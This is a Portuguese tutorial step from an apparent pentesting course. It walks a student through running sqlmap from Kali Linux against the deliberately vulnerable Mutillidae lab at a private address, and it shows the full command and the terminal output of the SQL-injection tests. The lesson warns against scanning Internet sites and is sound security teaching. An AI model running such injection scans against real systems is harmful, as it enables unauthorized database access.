

17

Mão à obra: Sqlmap

Clique na aba:

OWASP 2013 -> A1 - Injection (SQL) -> SQLi Extract Data -> User Info (SQL).

Insira nos campos de username e password um valor qualquer, veja que o form dessa página está utilizando a requisição GET e os parâmetros aparecem na URL.

Copie esta url e vá até o terminal e digite: sqlmap -u [url]

```
root@kali: ~
Arquivo Editar Ver Pesquisar Terminal Ajuda
root@kali:~# sqlmap -u "http://192.168.1.103/mutillidae/index.php?page=user-info.php&username=admin&password=&user-info.php-submit=button=View+Account+Details"
```

Caso o programa encontre um banco e peça para pular os testes para os demais, confirme digitando Y e em seguida se perguntar se queremos incluir todos os testes para MySQL dizemos que não, digitamos n.

```
root@kali: ~
Arquivo Editar Ver Pesquisar Terminal Ajuda
[15:30:05] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[15:30:10] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[15:30:14] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[15:30:19] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:30:25] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[15:30:31] [INFO] testing 'Oracle AND time-based blind'
[15:30:37] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[15:30:37] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[15:31:40] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[15:32:43] [WARNING] GET parameter 'page' is not injectable
[15:32:43] [INFO] testing if GET parameter 'username' is dynamic
[15:32:43] [WARNING] GET parameter 'username' does not appear dynamic
[15:32:44] [INFO] heuristic (basic) test shows that GET parameter 'username' might be injectable (possible DBMS: 'MySQL')
[15:32:44] [INFO] heuristic (XSS) test shows that GET parameter 'username' might be vulnerable to XSS attacks
[15:32:44] [INFO] testing for SQL injection on GET parameter 'username'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n
```

Ele mostrou qual o banco de dados (MySQL, Oracle, PostgreSQL) a aplicação está usando?

Obs importante: Se o sqlmap perder conexão e não retomar os testes, assista o vídeo *SQLMAP - Informações adicionais* e faça a mesma configuração que eu fiz. Uma vez terminado esse teste, volte as configurações como estavam no início do vídeo (Placa em modo Bridge), pois os outros exercícios nesse curso vão precisar dessa configuração. A configuração mostrada nesse vídeo *Sqlmap_info_adicional*, só vai funcionar se o Kali Linux e o servidor estiverem instalados no mesmo computador.

NÃO USE O SQLMAP em sites que estão na Internet